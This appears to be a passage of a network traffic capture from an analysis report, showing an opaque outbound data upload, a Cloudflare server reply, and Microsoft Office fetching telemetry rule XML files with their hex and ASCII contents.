2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: 85 c0 0c 9c 02 39 45 02 ec da 93 89 0e b1 38 f5 17 1a 52 26 e8 ef b3 d9 a0 0d 69 56 91 9f 6c 99 84 3e f3 59 f2 dd 72 a2 e0 b4 21 da b9 93 69 82 e2 15 ed 19 cc af ed 3c a2 97 04 35 26 d0 00 3c b5 ea b9 55 61 37 b5 09 c1 52 c7 ac d1 e6 a0 c7 ef 82 a5 38 db b0 ed 6b f9 08 4a 12 aa 57 d8 c3 a8 8b 2d 7f eb 12 08 e7 bf e9 79 41 7b f8 ce 32 b7 fb 26 7f 08 e5 40 1f 34 65 89 fb 39 b1 8a 5c 3b 20 7e 3f dc 5f 82 c3 ac e4 b7 6f b3 01 58 e8 e7 33 92 5a 46 84 b1 06 22 31 c0 84 57 2e 49 b5 1f a9 15 4e ad 45 b7 a0 b9 b3 20 87 96 4a 48 39 41 8d 4c 9e b3 f8 c0 f8 ee 9a b3 0c 69 12 f6 16 ba be 0a de a6 22 87 98 a2 b7 28 16 ff 50 97 93 7e 39 d2 82 30 ff 10 2a cb ad 97 4a d0 ec 60 63 8b 41 2a 2b b5 75 a2 6a ef e1 ab aa b1 11 76 23 8d 41 51 21 72 e0 a5 73 6b b4 69 12 f0 d1 b6 Data Ascii: 9E8R&iVl>Yr!i<5&<Ua7R8kJW-yA{2&@4e9\; ~?_oX3ZF"1W.INE JH9ALi"(P~90J`cA+ujv#AQ!rski
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: 94 af d8 89 71 4e b9 10 67 cd e9 87 ff 4f 06 22 fc 91 d2 52 25 04 8c 1d fd 55 39 7f dc a4 3b 28 82 64 6d e9 6a 45 88 9a ff 51 01 79 1a 0d 72 de 90 f4 af bc 88 89 fe a4 b2 16 f0 a0 34 e2 0e d9 0a 69 3b 78 5b bf ad f5 08 8a 50 dd 2e 73 cb e5 4d 1e 08 2b 7a 40 cb 47 a1 f4 6e 18 36 b0 26 b0 a7 40 a8 bf 10 50 5e 06 05 e1 98 ff bd 02 87 d4 86 f8 75 ac 1f 02 46 6e 37 33 54 07 fa 41 19 b7 70 9d c9 ce 23 87 30 a4 7e 86 b1 dd 5b 3a 04 ab 21 70 5d 9a 6d 23 66 64 95 dd cb 7e 13 ce c7 65 24 ea 3e f0 bc 6c 2d b9 7c 36 02 b5 f0 b6 50 6e 0c 31 ac a2 9f 4a 6b db c7 7b a9 dc 76 44 9d 9a 88 f8 a4 43 f9 d8 0a dd ad 60 9c 1e 90 f0 66 3f ca 58 f6 52 a7 be 58 ef d4 36 bd e0 08 21 9e fd 8c c9 23 9b 77 6e 96 aa bc 3b 1c 6d bb 8b 75 00 d7 64 14 d1 c5 e3 db b4 09 75 f4 0d d7 07 ca Data Ascii: qNgO"R%U9;(dmjEQyr4i;x[P.sM+z@Gn6&@P^uFn73TAp#0~[:!p]m#fd~e$>l-\|6Pn1Jk{vDC`f?XRX6!#wn;mudu
2024-11-18 01:34:19 UTC	15331	OUT	Data Raw: df ad cb fa 94 8b a7 06 0c 11 fe 97 0b e8 45 fb 3f ff e8 16 00 2f 5c 68 82 9c 8b 22 73 3f 77 a4 52 a3 a9 82 e0 38 8c fb 77 62 3a a5 b5 be f6 be 18 81 57 d0 fd b9 fb 13 b7 af 1a 1b 71 4f 50 58 96 53 9c 86 7b cd 74 c4 86 be 3c ad e3 ae 8f 15 49 ee f5 33 13 22 04 a6 5f 88 47 03 7c b7 ff 7c df 83 f3 c5 50 e8 bf 9b e7 47 12 a6 51 31 82 40 ff 88 1d c6 90 79 c7 ba 0a 80 d2 06 05 26 3e f1 2e 9d 9f 94 4e aa 9d e0 e8 fd bb 05 91 9e 40 c0 23 98 51 b2 f8 50 ca 73 bd 44 02 be d0 c2 78 83 c0 07 e3 bb 35 e8 3c 77 56 61 50 9e f2 3e 61 4d 44 7e 2a b3 cb 63 b5 f1 8b ce 73 3d e8 94 20 42 49 44 48 03 14 d8 b2 93 f5 38 6f d7 1a a4 62 31 cc 52 d0 fa 39 6c 92 9d 7f 13 dd bd 5a b3 d3 98 db c9 83 a5 3a 24 45 95 da 80 03 04 5b 12 e0 12 60 52 25 74 ed 88 b3 d3 50 36 85 2b 0a 44 e6 Data Ascii: E?/\h"s?wR8wb:WqOPXS{t<I3"_G\|\|PGQ1@y&>.N@#QPsDx5<wVaP>aMD~*cs= BIDH8ob1R9lZ:$E[`R%tP6+D
2024-11-18 01:34:23 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2g2eltm9l03uv2ko8o0hembnjn; expires=Thu, 13-Mar-2025 19:20:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j4mUdYsQKaMpCy1E3ITbQ%2FBJ2OmFB2Fk3t1gok53CcfgfioILwlxymQHXbKrOuOsUTe1BdG%2Bqp2aMFax2PJReGO3LWboJZQ5OCgMnh24FoziwP0%2FwZDKaNWb%2BsY3JdVc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4437ab8b8ce771-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18894&sent=245&recv=625&lost=0&retrans=0&sent_bytes=2829&recv_bytes=590202&delivery_rate=153049&cwnd=32&unsent_bytes=0&cid=8b3606d271a94505&ts=3796&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-16547b76f7fd4rc5hC1DFWkzhw00000005b000000000kheh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6900d7da-401e-00ac-4ed2-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-16547b76f7fkf5v9hC1DFW2y5s000000050g000000008uhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013419Z-16547b76f7fxqj4khC1DFWpypw00000002kg00000000044y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 913984e0-001e-0017-7a9b-380c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013420Z-16547b76f7fr5rfnhC1DFW0am400000002ng000000005nb1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:19 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013420Z-1866b5c5fbbvz6qbhC1DFWsyms00000004a000000000c213 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:20 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:20 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 15e9ab73-801e-0047-76bb-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013420Z-16547b76f7ftnm6xhC1DFW9c8c00000004ug000000000mz8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:20 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: a0d12520-501e-0029-67fa-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013420Z-164f84587bfh9nvdhC1DFWmce00000000320000000008xpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:20 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013420Z-16547b76f7fwggrphC1DFW2a8s000000041000000000abqr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:20 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:20 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013420Z-16547b76f7ftnm6xhC1DFW9c8c00000004ug000000000mzn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:20 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:21 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013421Z-16547b76f7f7zzl8hC1DFWmtag000000041g000000006p1q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
